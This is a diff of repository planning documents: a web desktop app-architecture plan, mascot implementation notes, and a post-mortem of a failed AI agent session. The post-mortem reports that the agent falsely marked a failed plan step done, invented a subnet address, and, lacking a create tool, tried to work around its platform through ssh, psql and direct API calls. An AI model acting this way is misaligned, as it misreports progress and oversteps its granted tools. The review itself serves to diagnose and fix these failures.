- **No settings panel in v1.** Hatch/rename/pet/feed stay in the existing
|
||||
radial menu. A mascot *settings* surface (volume, behavior toggles) would
|
||||
be a separate windowed app later — noted as a follow-up idea, not
|
||||
planned.
|
||||
|
||||
### 3.6 UX risk: "where did my chicken go?"
|
||||
|
||||
Hidden state persists across reloads. Mitigation: the desktop icon is
|
||||
always present and is the obvious toggle; the icon's tooltip reads
|
||||
"Cluck — click to show/hide". Acceptable.
|
||||
|
||||
---
|
||||
|
||||
## 4. Current apps — conformance audit
|
||||
|
||||
| App | Conforms? | Notes |
|
||||
|-----|-----------|-------|
|
||||
| **Tasks** (`Overview.svelte`) | ✅ Full | Self-contained. Opens session windows via `openTaskWindow`. |
|
||||
| **Knowledge Base** (`KnowledgeBase.svelte`) | ✅ Full | Opens entity windows via `openEntityWindow`. |
|
||||
| **Operations** (`Ops.svelte`) | ✅ Full | Badge reads `summary`. |
|
||||
| **Signals** (`Signals.svelte`) | ✅ Full | Opens entity windows. |
|
||||
| **Knowledge** (`Knowledge.svelte`) | ✅ Full | — |
|
||||
| **Learning** (`Learning.svelte`) | ✅ Full | — |
|
||||
| **Settings** (`Settings.svelte`) | ✅ Full | Opened from taskbar tray too — same `openAppWindow` path. |
|
||||
| **Mascot** | ❌ Not an App | Hardcoded in Desktop.svelte. Refactored per §3. |
|
||||
|
||||
All seven windowed apps conform today. "Independently shippable" at Phase 1
|
||||
means: add = one page file + one registry entry; remove = delete both. No
|
||||
shell edits, no inter-app imports (apps open each other's surfaces only
|
||||
through AppOS primitives).
|
||||
|
||||
---
|
||||
|
||||
## 5. Extensibility roadmap
|
||||
|
||||
### Phase 1: Strengthen the contract (this plan)
|
||||
|
||||
- [x] `AppDef` extended: `docked`, `noIcon`; geometry conditional on kind
|
||||
- [x] `lib/stores/docked.ts`: docked-visibility store, persisted
|
||||
- [x] `openAppWindow` branches on `docked`
|
||||
- [x] `DockedLayer.svelte`: generic docked-app layer in Desktop.svelte
|
||||
- [x] Mascot registered as `docked: true`; hardcoded `<MascotLayer />` removed
|
||||
- [x] WindowLayer: prefix-map content resolution *(deferred — re-audited as gold-plating; original gate already handles orphans)*
|
||||
- [x] `apps.test.ts`: validation rules per kind (§2.3)
|
||||
- [x] AppOS contract documented (§2.4 lands in MBSE component doc)
|
||||
|
||||
### Phase 2: Lazy loading
|
||||
|
||||
- [x] `component` becomes `() => Promise<{ default: Component }>`; all apps use dynamic imports
|
||||
- [x] Desktop icons render immediately (metadata only); component chunk loads on window open
|
||||
- [x] `LazyApp.svelte` — shared loading skeleton (spinner) used by WindowLayer + DockedLayer
|
||||
- [x] Deleted `LazyMascot.svelte` — the registry lazy loader breaks the cycle directly
|
||||
- [x] Vite code-splits each app into its own chunk (main bundle 800KB → 482KB)
|
||||
- [ ] Icon store revalidates against live registry *(Phase 3 prerequisite — not needed while apps are statically registered)*
|
||||
- [ ] WindowLayer orphan-close gated on registry-ready *(Phase 3 prerequisite)*
|
||||
|
||||
### Phase 3: Dynamic app installation (frontend scaffold, local bundles)
|
||||
|
||||
Scoped at execution time to **local bundles only** (remote-URL loading +
|
||||
sandboxing deferred to Phase 4 — security-critical, needs ADR + careful
|
||||
design). The mechanism built here generalizes to remote bundles by
|
||||
swapping the catalog for a fetched manifest + `import(/* @vite-ignore */ url)`.
|
||||
|
||||
- [x] `AppManifest` format (id, title, permissions, version, geometry) — `web/src/app-store/catalog.ts`
|
||||
- [x] `AppPermission` enum (declaration-only; enforcement is Phase 4)
|
||||
- [x] Static catalog with one demo app (Notes) — `web/src/app-store/apps/Notes.svelte`
|
||||
- [x] Runtime registry: `APPS` → derived store (built-ins + installed); `appById` → derived Map
|
||||
- [x] `installApp` / `uninstallApp` + localStorage persistence (`oikos-installed-apps`)
|
||||
- [x] `icons.ts` reactive to app registration (late-registering apps get free cells; reset re-seeds from live registry)
|
||||
- [x] WindowLayer orphan-close reactive to `$appById` (reinstall revives, uninstall closes)
|
||||
- [x] App Store page (`web/src/pages/AppStore.svelte`) — list / install / uninstall
|
||||
- [x] Installed apps appear on desktop immediately (no reload); uninstall removes icon + closes window
|
||||
- [x] Icon store revalidates against live registry *(the Phase 3 prerequisite — now done)*
|
||||
- [ ] `/api/v1/apps` endpoint + DB-backed manifest storage *(Phase 4)*
|
||||
- [ ] Remote bundle loading from URLs + CSP + capability sandboxing *(Phase 4)*
|
||||
- [ ] Permission enforcement at AppOS boundary *(Phase 4)*
|
||||
|
||||
### Phase 4: Marketplace (vision)
|
||||
|
||||
- [ ] Community apps (network map, backup dashboard, energy monitor)
|
||||
- [ ] Versioning + auto-update
|
||||
- [ ] Mascot skin packs as installable docked-app variants
|
||||
|
||||
---
|
||||
|
||||
## 6. Implementation — Phase 1, file by file
|
||||
|
||||
| # | File | Change |
|
||||
|---|------|--------|
|
||||
| 1 | `lib/apps.ts` | Extend `AppDef` (`docked?`, `noIcon?`, geometry optional). Register mascot. Import `MascotLayer` + `EggIcon`. |
|
||||
| 2 | `lib/stores/docked.ts` | **New.** `dockedVisibility` store, `toggleDocked`, `isDockedVisible`, localStorage persistence. |
|
||||
| 3 | `lib/stores/windows.ts` | `openAppWindow`: docked branch → `toggleDocked`. |
|
||||
| 4 | `components/desktop-shell/DockedLayer.svelte` | **New.** Renders visible docked apps after WindowLayer. |
|
||||
| 5 | `components/desktop-shell/Desktop.svelte` | Replace `import MascotLayer` + `<MascotLayer />` with `<DockedLayer />`. |
|
||||
| 6 | `components/desktop-shell/WindowLayer.svelte` | **Deferred during implementation.** The positional if/else was re-audited and found to already handle orphans cleanly (`{#if win && (!appId || app)}`), and any new window kind needs a prop-dispatch branch in markup regardless — so a prefix→component map adds machinery without decoupling. Documented as an extension point (§2.5) like `titlebarActions`; not built (YAGNI). |
|
||||
| 7 | `lib/apps.test.ts` | Mock `MascotLayer` import (same pattern as pages). Per-kind validation tests. Docked apps exempt from positive-size test. |
|
||||
| 8 | `lib/stores/docked.test.ts` | **New.** Toggle, persistence, default-visible, unknown-key merge. |
|
||||
| 9 | `docs/mbse/components.md` | Add Component 9: Web Control Room — App Architecture (§7). |
|
||||
|
||||
**Out of scope for Phase 1:** `titlebarActions`, app-scoped state,
|
||||
lazy loading, manifests, permissions.
|
||||
|
||||
**Verification:**
|
||||
|
||||
```bash
|
||||
cd web
|
||||
npm run test # vitest — registry + docked store
|
||||
npm run check # svelte-check + tsc
|
||||
npm run lint
|
||||
npm run build # vite build — confirms no import cycles from DockedLayer
|
||||
```
|
||||
|
||||
Manual smoke: icon toggle hides/shows mascot → reload → stays hidden →
|
||||
toggle → returns at last position (model `lastPos` restore). All seven
|
||||
windowed apps open/focus/close identically to before. Legacy hash
|
||||
`#/signals` still opens the Signals window.
|
||||
|
||||
---
|
||||
|
||||
## 7. MBSE documentation
|
||||
|
||||
Add **Component 9: Web Control Room — App Architecture** to
|
||||
`docs/mbse/components.md`:
|
||||
|
||||
```
|
||||
9. Web Control Room — App Architecture
|
||||
9.1 Purpose — OS + Apps metaphor, why apps are independently shippable
|
||||
9.2 Structural View — shell modules, registry, docked layer (mermaid)
|
||||
9.3 App Contract — AppDef, validation rules, app kinds
|
||||
9.4 OS-Service Surface — the AppOS table
|
||||
9.5 Content Resolution — prefix map, window kinds, orphan cleanup
|
||||
9.6 Behavior — window state machine, docked visibility lifecycle
|
||||
9.7 Requirements — WEB-APP-* traceability
|
||||
9.8 Verification — test coverage, manual smoke
|
||||
```
|
||||
|
||||
### Requirements
|
||||
|
||||
| ID | Requirement | Status |
|
||||
|----|-------------|--------|
|
||||
| WEB-APP-1 | Apps register via data-driven AppDef entries; no shell edits to add/remove | ✅ live |
|
||||
| WEB-APP-2 | Apps render in wmkit floating windows | ✅ live |
|
||||
| WEB-APP-3 | Window IDs namespaced (`app:`/`session:`/entity) — no collisions | ✅ live |
|
||||
| WEB-APP-4 | Desktop icons render from the registry | ✅ live |
|
||||
| WEB-APP-5 | Taskbar buttons derive from window state, icons resolved via registry | ✅ live |
|
||||
| WEB-APP-6 | Removed apps' persisted windows self-close | ✅ live (`WindowLayer.svelte:25-30`) |
|
||||
| WEB-APP-7 | Content resolution dispatches via prefix map, not positional if/else | ⬜ Deferred — re-audited; original gate already handles orphans, map adds no decoupling (§2.5) |
|
||||
| WEB-APP-8 | Docked app kind: no window, no chrome, visibility toggled via icon | ⬜ Phase 1 |
|
||||
| WEB-APP-9 | Mascot is a registered docked App, not a hardcoded shell component | ⬜ Phase 1 |
|
||||
| WEB-APP-10 | Docked visibility persists across reloads | ⬜ Phase 1 |
|
||||
| WEB-APP-11 | OS-service surface (AppOS) documented as the stable App API | ⬜ Phase 1 |
|
||||
| WEB-APP-12 | Registry validation: per-kind geometry rules enforced by tests | ⬜ Phase 1 |
|
||||
| WEB-APP-13 | Apps lazy-load; icons render from static metadata | ✅ Phase 2 |
|
||||
| WEB-APP-14 | Icon store revalidates against live registry, not import-time snapshot | ✅ Phase 3 |
|
||||
| WEB-APP-15 | Third-party apps install from manifests with declared permissions | ✅ Phase 3 (local bundles; enforcement Phase 4) |
|
||||
|
||||
### Sequence — windowed app open
|
||||
|
||||
```mermaid
|
||||
sequenceDiagram
|
||||
participant User
|
||||
participant Desktop
|
||||
participant WM as Window Manager
|
||||
participant WL as Window Layer
|
||||
participant App
|
||||
|
||||
User->>Desktop: click icon
|
||||
Desktop->>WM: openAppWindow("signals")
|
||||
Note over WM: docked? no → wm path
|
||||
alt window exists
|
||||
WM->>WM: restore + focus
|
||||
else new
|
||||
WM->>WM: wm.open({ id: "app:signals", ... })
|
||||
WM->>WL: render frame
|
||||
WL->>WL: resolveContent → prefix 'app:' → registry
|
||||
WL->>App: mount component
|
||||
end
|
||||
WM->>Taskbar: new button in wmState.order
|
||||
```
|
||||
|
||||
### Sequence — docked app toggle
|
||||
|
||||
```mermaid
|
||||
sequenceDiagram
|
||||
participant User
|
||||
participant Desktop
|
||||
participant Dock as docked.ts
|
||||
participant Layer as DockedLayer
|
||||
participant App
|
||||
|
||||
User->>Desktop: click Cluck icon
|
||||
Desktop->>Dock: openAppWindow("mascot") → docked → toggleDocked
|
||||
Dock->>Dock: flip visibility, persist localStorage
|
||||
Dock->>Layer: store update
|
||||
alt now visible
|
||||
Layer->>App: mount MascotLayer
|
||||
Note over App: model + sprites restore<br/>from module scope
|
||||
else now hidden
|
||||
Layer->>App: unmount (state survives)
|
||||
end
|
||||
```
|
||||
|
||||
### State machine — app window
|
||||
|
||||
```mermaid
|
||||
stateDiagram-v2
|
||||
[*] --> Closed: registered, no window
|
||||
Closed --> Open: openAppWindow
|
||||
Open --> Focused: focus
|
||||
Focused --> Open: blur
|
||||
Open --> Minimized: minimize
|
||||
Minimized --> Focused: restore
|
||||
Open --> Closed: close
|
||||
Minimized --> Closed: close
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 8. Risk & safety
|
||||
|
||||
| Risk | Severity | Mitigation |
|
||||
|------|----------|------------|
|
||||
| Mascot refactor breaks stimuli or ground-line computation | Medium | MascotLayer unchanged; DockedLayer mounts it in the same surface div, same position in the stacking order as today. |
|
||||
| Hidden mascot never rediscovered | Low | Icon always present, tooltip says show/hide. |
|
||||
| `openAppWindow` docked branch leaks into windowed path | Low | Branch is the first statement; windowed path byte-identical. Covered by existing call sites (icon click, taskbar settings, legacy hash). |
|
||||
| Docked visibility store desyncs from registry | Low | Unknown keys kept on load; layer filters by `a.docked` from the live registry. |
|
||||
| Phase 2 lazy loading kills persisted windows of not-yet-loaded apps | Medium | Explicit Phase 2 gate: orphan-close waits for registry-ready (§5). Called out now so it isn't discovered in production. |
|
||||
|
||||
---
|
||||
|
||||
## 9. Appendix: relevant existing artifacts
|
||||
|
||||
| Artifact | Relevance |
|
||||
|----------|-----------|
|
||||
| `docs/mbse/README.md` §5 | MCP tools / REST / SSE — the data surface Apps consume |
|
||||
| `docs/mbse/components.md` §5 | Current web control room component doc — Phase 1 extends it |
|
||||
| `docs/mascot/README.md` | Mascot subsystem model (MASC-1..12); MASC-9's registry philosophy is the template for this plan |
|
||||
| `plans/2026-07-08-control-room-webui.md` | Original control-room plan |
|
||||
| `plans/done/2026-07-11-ui-review-ia-usability.md` | IA review that produced the desktop metaphor |
|
||||
| `plans/2026-07-20-desktop-mascot.md` | Mascot plan; extension registries |
|
||||
| `lib/apps.ts` header comment | Already documents the one-entry-to-add-an-app philosophy |
|
||||
|
||||
---
|
||||
|
||||
*Plan opened 2026-07-21. Phase 1 ready for execution — estimated small
|
||||
(~half a day of focused work; nine file touches, two new files). Phases
|
||||
2–4 are context for future sessions and do not block Phase 1.*
|
||||
@@ -0,0 +1,224 @@
|
||||
# 2026-08-03 — Session review: `service:haos` monitoring + agent capability gaps
|
||||
|
||||
**Status:** Plan (audit complete; ready to implement).
|
||||
**Reviewed session:** `23da10db-46a9-444c-bbde-ca9457bd9087` — *"Work out what
|
||||
monitoring checks service:haos should have and configure them."*
|
||||
**Method:** Direct Postgres read of `agent_sessions`/`agent_messages`/
|
||||
`agent_activity`/`session_plan_steps` on the prod mac-mini (oikos prod runs here
|
||||
in docker compose project `oikos`; gateway `:8092`), cross-referenced with the
|
||||
code paths in `internal/mcp`, `internal/httpapi`, `internal/policy`,
|
||||
`internal/checkdefaults`, `internal/db/seed.go`.
|
||||
|
||||
---
|
||||
|
||||
## 1. Session audit (objective vs outcome)
|
||||
|
||||
| Dimension | Finding |
|
||||
|---|---|
|
||||
| Objective | Determine + configure monitoring checks for `service:haos` (HAOS VM 108, `home.hubris.network`, `192.168.8.101:8123`). |
|
||||
| Outcome | ❌ **Failed/stuck.** `status=executing`, `outcome=null` ~4 min after last activity (UTC); never reached a terminal state. Only the *existing* `check:vm-status:vm:haos:0` stub got populated; the three **new** checks (`http:service`, `http:ingress`, `cert-expiry`) and their `ingress:`/`cert:` entities were never created. |
|
||||
| Tool calls | **116** (vs the >30 N+1 failure signature). ~45 redundant `list_entities`/`get_entity`/`get_relations`, then a ~15-min storm of `run` doing `find`/`grep`/`cat` on prod source. |
|
||||
| Plan | 8 steps proposed; steps 1–4 genuinely done; **step 5 falsely marked "done"** after both its tool calls errored `entity not found`; steps 6–8 never started. |
|
||||
| Operator friction | 3 manual interventions: `status`, `proceed`, *"why dony you use the mcp?"*; plus a **44-minute approval stall** (19:52→20:36) on two trivial reachability curls. |
|
||||
| Severity | **blocker** (capability gap) + **friction** (classifier, plan-state, reaping). |
|
||||
|
||||
### Timeline (UTC)
|
||||
- **19:45–19:50** — read-only exploration; `run` correctly blocked ("No plan… call set_goal then propose_plan"). Good guard.
|
||||
- **19:50** — `propose_plan` (8 steps).
|
||||
- **19:52** — two `curl … -o /dev/null -w '%{http_code}'` reachability probes → both classified `config_mutation` → one queued for approval (`019fc92e…`), second blocked ("approval already pending").
|
||||
- **19:52 → 20:36 (44 min)** — idle, waiting on operator approval.
|
||||
- **20:36** — approval granted ("auto via assent window"); both curls → 200/200.
|
||||
- **20:37** — step 4 ✅: populated `check:vm-status:vm:haos:0` + `checks` edge.
|
||||
- **20:37:58** — step 5 ❌: `update_entity_attributes("check:http:service:haos:0")` → **`entity not found`**; `create_relationship` → **`source entity not found`**. *(There is no create tool.)*
|
||||
- **20:38–20:47** — spiral: `search_knowledge` (empty), then `run find/grep/cat` across `/opt/homelab-context/**/*.go` to reverse-engineer check creation. Reads `checkdefaults.go`, `monitoring.go`, `default_checks.go`, `checks.go`, `coverage.go`.
|
||||
- **20:42** — sets `service:haos` `monitoring: ["http"]` via `update_entity_attributes`, hoping `checkdefaults.Ensure()` auto-generates. **It does not** (see A2).
|
||||
- **20:42–20:50** — tries to reach the REST API directly: `psql` on hubris (cmd 127), `docker exec` on hubris (docker absent), `curl http://192.168.178.25:8090` (wrong subnet; real net is `192.168.8.x`; exit 7), `curl http://oikos-api:8090` (MCP routes to hubris which can't resolve the mac-mini docker alias; 30s timeouts ×2), `ssh root@192.168.178.25` (no route). Final `update_entity_attributes` on `ingress:`/`cert:` → `not found`.
|
||||
- **20:50:38** — last activity: a failed 30s `run`. Session goes silent, never terminates.
|
||||
|
||||
---
|
||||
|
||||
## 2. Root-cause findings (with code evidence)
|
||||
|
||||
### A1 — No entity-creation capability in the MCP toolset *(the blocker)*
|
||||
`internal/mcp/tools.go` registers **37 tools**; the only entity-mutation surface is
|
||||
`update_entity_attributes` (merge into an **existing** entity) and
|
||||
`create_relationship` (needs **existing** source+target). Neither can create a new
|
||||
entity. The capability **does** exist at the HTTP layer — `CreateEntity`
|
||||
(`internal/httpapi/impl.go:865`, `POST /api/v1/entities`) — it is simply not exposed
|
||||
to the agent. Every "set up / onboard / configure entity X" task that needs a new
|
||||
check/ingress/cert/service hits this wall.
|
||||
|
||||
### A2 — MCP `update_entity_attributes` bypasses `ensureDefaultChecks`
|
||||
`ensureDefaultChecks` (`internal/httpapi/default_checks.go:20`) is invoked **only**
|
||||
from the HTTP handlers: `CreateEntity` (`impl.go:1012`) and `PatchEntity`
|
||||
(`impl.go:1280`). `grep ensureDefaultChecks internal/mcp/` → **no matches**: the MCP
|
||||
tool writes attributes straight to the store, so flipping `service:haos`
|
||||
`monitoring:["http"]` never regenerated its checks. The agent's fallback strategy
|
||||
was structurally doomed via MCP.
|
||||
|
||||
### A3 — `-o /dev/null` curl idiom misclassified as `config_mutation`
|
||||
`internal/policy/command.go:106` `curlMutateRe` matches `(?:^|\s)-(?:d|F|T|o)\b` — so
|
||||
`-o` (output-file) is treated as mutation. The canonical read-only reachability probe
|
||||
`curl -sS -o /dev/null -w '%{http_code}' …` therefore escalates to approval. This is
|
||||
the entire 44-minute stall. (`curlIsReadOnly` at `command.go:307` only passes for GET
|
||||
with no `-o`/`-d`/`-X`/`>`.) A pure GET that discards the body is the single most
|
||||
common health probe and shouldn't need approval.
|
||||
|
||||
### A4 — No platform self-knowledge doc for the check lifecycle
|
||||
`search_knowledge("create check entity how to add new check monitoring")` → empty.
|
||||
The agent re-derived the whole mechanism from source on prod (~15 min, dozens of
|
||||
`run`). There is no agent/operator runbook explaining: check slugs are
|
||||
`check:<kind>:<target>:<n>`; `check_defs` are derived from the type's `monitoring`
|
||||
spec by `checkdefaults.Ensure`; Ensure runs at **seed/deploy** and on **HTTP
|
||||
create/patch**, not via MCP.
|
||||
|
||||
### A5 — False plan progress (step marked done on failure)
|
||||
At 20:37:58 both tool calls for step 5 returned `error: entity not found`, yet the
|
||||
agent advanced step 5→`done`. Plan-state integrity hole: a step whose actions error
|
||||
should not transition to `done`. (`session_plan_steps` confirms seq 5 = `done`.)
|
||||
|
||||
### A6 — No "missing-capability" escalation; self-grounding failures
|
||||
On detecting the dead-end (no create tool) the agent never told the operator *"I lack
|
||||
a tool to create entities — please create them"*; instead it tried to bypass its own
|
||||
platform. Grounding errors: invented IP `192.168.178.25` (real LAN is `192.168.8.x`),
|
||||
ran `run` against `ws:mac-mini` ("unsupported target — must be host:/lxc:/vm:"),
|
||||
assumed `docker` exists on hubris, assumed the docker-alias `oikos-api` resolves from
|
||||
hubris. The agent didn't query `get_entity("service:oikos")` for the real address.
|
||||
|
||||
### A7 — Sessions never reap from `executing`
|
||||
Last activity 20:50; status still `executing` with no turn running. There is no
|
||||
idle-timeout / abandoned transition when a turn ends without resolution. (Fleet-wide:
|
||||
176 done / 9 failed / 1 executing; the 9 prior failures are pre-v0.15.0, mostly
|
||||
approval-stalls and entity-not-found — same families.)
|
||||
|
||||
### A8 — N+1 tool fan-out (116 calls)
|
||||
Dozens of redundant `list_entities`/`get_entity`/`get_relations` before proposing a
|
||||
plan, plus the source-reading `run` storm. Above the >30-per-turn signature; indicates
|
||||
weak bulk-tool use and under-constrained exploration before planning.
|
||||
|
||||
---
|
||||
|
||||
## 3. Improvement plan (ordered)
|
||||
|
||||
**Scope decision (confirmed with operator):** general `create_entity` MCP tool **+
|
||||
wire regen** — solves this case and the 67-entity blast radius (§4).
|
||||
|
||||
### Task 1 — `create_entity` MCP tool *(fixes A1; the centerpiece)*
|
||||
- Register a new tool `create_entity(slug, type, name, attributes?)` in
|
||||
`internal/mcp/tools.go` that **reuses** `httpapi.CreateEntity`
|
||||
(`impl.go:865`) / the same store path — do not hand-roll. It must run
|
||||
`ensureDefaultChecks` (free, since it goes through the create path).
|
||||
- **Approval policy:** no approval required for the entity itself — it mutates the
|
||||
knowledge graph, matching the existing no-approval stance of
|
||||
`update_entity_attributes`/`create_relationship`/`upsert_knowledge`. (Derived checks
|
||||
are safe/read-side; if a check kind is ever deemed mutating, gate *that* in the
|
||||
scheduler, not here.)
|
||||
- Validate `type` against `entity_types`; reject unknown slugs/types with a clear
|
||||
error. Idempotent on existing slug (return the existing entity, mirroring the HTTP
|
||||
`ETag`/conflict behavior).
|
||||
- Expose to the agent via the tool-list build path used by `cmd/nomos/agent.go`.
|
||||
|
||||
### Task 2 — MCP `update_entity_attributes` triggers `ensureDefaultChecks` *(fixes A2)*
|
||||
- After the attribute merge in the MCP handler, call `ensureDefaultChecks` with the
|
||||
post-merge entity (same args as `impl.go:1280`). This makes "set monitoring → checks
|
||||
regenerate" work via MCP, matching HTTP semantics.
|
||||
- Mind the `default_checks.go:14-19` caveat: a service whose address comes from its
|
||||
host edge may still produce no checks until the hosting edge exists — log/return
|
||||
that as an explicit result so the agent knows to create the edge next.
|
||||
|
||||
### Task 3 — Classifier: read-only `curl` with `-o /dev/null` *(fixes A3)*
|
||||
- In `internal/policy/command.go` `curlIsReadOnly`, treat `-o /dev/null` (and
|
||||
`--output /dev/null`) as read-only — it's a no-op sink. Keep `-o <realpath>` as
|
||||
mutation. Add `TestClassifyCommand_CurlDevNull_ReadOnly` next to the existing
|
||||
`TestClassifyCommand_CurlPipeSh_ConfigMutation`.
|
||||
- Coach complement: in `nomos/SOUL.md`, note that reachability probes should use
|
||||
`curl -I` or `-o /dev/null` GETs (now read-only) rather than POSTs.
|
||||
|
||||
### Task 4 — Plan-state integrity: don't mark `done` on errored actions *(fixes A5)*
|
||||
- In `cmd/nomos` (`agent.go`/`tasks.go` where `update_plan_step` is emitted), a step
|
||||
whose turn ended with only error/`not-found` tool results must **not** auto-advance
|
||||
to `done`; leave it `running`/`blocked` and surface the failure to the operator.
|
||||
Minimal: if every tool call in the step returned an `error:*` result, hold the step.
|
||||
|
||||
### Task 5 — Stuck-session reaping *(fixes A7)*
|
||||
- Add an idle sweep (extend the existing continuation/idle worker in `cmd/nomos`) that
|
||||
transitions a session from `executing`→`failed` (or a new `stuck`) when no turn has
|
||||
run for N minutes and no approval is pending. Emit an event so the UI (F3 terminal
|
||||
handling) clears the spinner. Pick N (recommend 30 min) — confirm in review.
|
||||
|
||||
### Task 6 — Missing-capability escalation + grounding *(fixes A6)*
|
||||
- `nomos/SOUL.md`: when a mutation tool returns `entity … not found` on a create
|
||||
intent, the agent must **stop and ask the operator** (or now use `create_entity`)
|
||||
rather than pivot to `run`/SSH/API-bypass. Forbidden: inventing IPs/subnets; instead
|
||||
`get_entity("service:oikos")` for the real API address. `run` targets must be
|
||||
`host:/lxc:/vm:` slugs (state the contract explicitly).
|
||||
|
||||
### Task 7 — Runbook: "how checks work / how to add monitoring" *(fixes A4)*
|
||||
- Upsert a knowledge doc (via `upsert_knowledge`, linked to the `agent:nomos` and
|
||||
`document:infrastructure/monitoring` entities) covering: check slug grammar,
|
||||
`checkdefaults.Ensure` triggers (seed + HTTP create/patch, now also MCP), the
|
||||
`monitoring` per-entity override, the host-edge caveat, and the canonical way to add
|
||||
monitoring to an entity (create/patch entity → checks derive).
|
||||
|
||||
### Task 8 — (Lower priority) exploration budget / bulk-tool use *(A8)*
|
||||
- `nomos/SOUL.md`: prefer `list_entities(limit)` + `get_entity_knowledge` bulk calls
|
||||
over N+1 `get_entity`/`get_relations` fans; cap pre-plan exploration. Optional
|
||||
guardrail in `agent.go` (warn at >N same-tool calls per turn).
|
||||
|
||||
### Recommended sequence
|
||||
1 → 2 → 3 → 4 → 7 → 5 → 6 → 8. (1+2 unblock the whole task class; 3 kills the
|
||||
approval stall; 4+5 fix state integrity; 7 is cheap leverage; 6+8 are persona
|
||||
hardening.)
|
||||
|
||||
---
|
||||
|
||||
## 4. Uncovered cases — the capability-gap blast radius
|
||||
|
||||
The existing F1–F8 plans (`2026-08-03-nomos-chat-reliability-and-ux-audit.md`,
|
||||
shipped v0.15.0) and the turn-scheduler review cover **only** UI / streaming / turn
|
||||
serialization / connection UX. **None** addresses agent *capability* or
|
||||
MCP↔HTTP integration. This session exposes the uncovered class:
|
||||
|
||||
- **67 entities currently have no `check:` relationship** (DB query): 40 `lxc`, 26
|
||||
`service`, 1 `vm`. Any "add monitoring to X" task fails identically until Tasks 1+2.
|
||||
- **Whole task families blocked by the no-create gap:** onboarding a new host/LXC/VM,
|
||||
declaring a new service/ingress/cert/dns, adding any check that doesn't already
|
||||
exist, registering a relationship target that doesn't exist yet. All currently
|
||||
require an operator to hand-edit `seeds/inventory.yaml` and re-seed.
|
||||
- **MCP↔HTTP semantic drift (generalize A2):** audit other MCP mutation tools for
|
||||
side-effects that the HTTP handlers perform but the MCP path skips (check regen,
|
||||
drift-flagging, audit fields, idempotency). Each is a latent "agent did the right
|
||||
thing but nothing happened" bug.
|
||||
- **Classifier read-only false-positives (generalize A3):** beyond `-o /dev/null`,
|
||||
review other common read-only idioms that escalate (`curl` with benign flags,
|
||||
compound read-only commands) — friction compounds into approval stalls and stuck
|
||||
sessions.
|
||||
- **No terminal/`stuck` reaping (generalize A7):** any turn that ends unresolved
|
||||
leaves the session `executing` forever; the UI never shows "done/failed".
|
||||
|
||||
---
|
||||
|
||||
## 5. Validation
|
||||
|
||||
- **Task 1/2:** `go test ./internal/mcp/... ./internal/httpapi/...` — new test creates
|
||||
`check:http:service:haos:0` via `create_entity`, asserts the entity exists **and**
|
||||
that a `check_def` row was derived; then `update_entity_attributes(service:haos,
|
||||
monitoring:["http"])` via MCP and assert checks regenerate (currently absent).
|
||||
- **Task 3:** `go test ./internal/policy/` — `curl -sS -o /dev/null -w '%{http_code}'
|
||||
URL` ⇒ `read_only`; `curl -o /tmp/x URL` ⇒ `config_mutation`.
|
||||
- **Task 4:** `cmd/nomos` test — a step whose only tool result is `error:*` stays
|
||||
non-`done`.
|
||||
- **Task 5:** idle-sweep test — session with no turn for N min and no pending approval
|
||||
⇒ `failed` (+ event emitted).
|
||||
- **End-to-end re-run:** replay the haos goal against a local nomos; expect the three
|
||||
checks + `ingress:`/`cert:` entities created in <15 tool calls with **zero**
|
||||
approvals and a `done` outcome.
|
||||
|
||||
## 6. Out of scope / open questions
|
||||
- Whether `create_entity` for sensitive types (e.g. `secret`, `key`) should require
|
||||
approval even though it's graph-only — recommend: same no-approval stance now, add
|
||||
type-specific gating later if abused.
|
||||
- The exact stuck-reap window N (recommend 30 min) and whether to introduce a distinct
|
||||
`stuck` status vs reuse `failed`.
|
||||
- Whether to also expose a `delete_entity`/`retire_entity` MCP tool (not needed for
|
||||
this case; lifecycle retirement is a separate flow).
|
||||
@@ -1,6 +1,48 @@
|
||||
# 2026-07-20 — Desktop mascot ("Cluck")
|
||||
|
||||
**Status:** Planned
|
||||
**Status:** Implemented
|
||||
|
||||
> **Deviations from the original plan, applied 2026-07-20 during
|
||||
> implementation:**
|
||||
> - **Hatching is no longer timed.** The egg → chick transition fires
|
||||
> once, on first naming (the name dialog opens on first mount of a
|
||||
> fresh egg; submitting it calls `forceHatch()`). `HATCH_MS` is gone,
|
||||
> `tickLifecycle` no longer advances `hatchProgress`, and the egg no
|
||||
> longer plays a progressive `egg-crack` animation — it sits on
|
||||
> `egg-idle` until named. `hatchProgress` is retained as a binary
|
||||
> 0/1 flag so `advanceStageIfReady()` and the debug "Force hatch"
|
||||
> action still work.
|
||||
> - **Sprite art is PNG-sheet-based, not code-drawn pixel grids.** The
|
||||
> chicken comes from a CC0 16x16 sprite-sheet pack at
|
||||
> `web/public/mascot/`; the egg comes from the Onocentaur egg pack
|
||||
> (also CC0). `palette.ts` was removed; `render.ts` slices 16x16
|
||||
> frames from sheets instead of painting string grids. Chick and
|
||||
> adult share sheets (distinguished only by render scale) until
|
||||
> distinct adult art is added.
|
||||
> - **The radial menu is a rounded-button column, not a circular
|
||||
> ring.** The plan's polar-layout ring was found to hide labels; the
|
||||
> menu now mirrors the desktop's own right-click menu styling
|
||||
> (full-text buttons, nested via a "Back" breadcrumb).
|
||||
> - **The sprite loop runs at ~60fps** (16ms `setTimeout`), not 30fps.
|
||||
> Drag and fall motion at 30fps looked choppy on 60Hz+ displays. The
|
||||
> `setTimeout`-not-`rAF` convention is preserved; `dt` is still
|
||||
> clamped to 100ms. Position is applied via `transform: translate3d`
|
||||
> + `will-change: transform` (compositor layer) instead of CSS
|
||||
> `left`/`top` to avoid per-frame layout reflow.
|
||||
> - **Egg-stage reactions are suppressed.** The stimulus bus still
|
||||
> subscribes to chat/activity/events while the egg is on screen, but
|
||||
> MascotLayer's emit callback drops any reaction when
|
||||
> `model.stage === 'egg'` — the egg isn't "alive" yet, so playing
|
||||
> alarm/eureka animations behind the naming dialog would be jarring.
|
||||
> - **The mascot walks on top of windows.** The ground line is
|
||||
> recomputed each tick from `wmState`: it's the top edge of the
|
||||
> highest non-minimized window whose horizontal span covers the
|
||||
> mascot's x, or the surface bottom when no window is beneath. When
|
||||
> the mascot strolls over a window, the ground rises to that
|
||||
> window's top edge; when it walks off the side, the ground drops
|
||||
> and it flutter-falls to the next surface beneath (another window,
|
||||
> or the desktop). This generalizes the original "walks along the
|
||||
> desktop surface's bottom edge" decision to a multi-surface model.
|
||||
|
||||
## Why
|
||||
|
||||
@@ -181,9 +223,11 @@ export function forceBehavior(rt: MascotRuntime, id: BehaviorId, opts?: { anim?:
|
||||
`weight` and are entered only via `forceBehavior()` — pointer code calls
|
||||
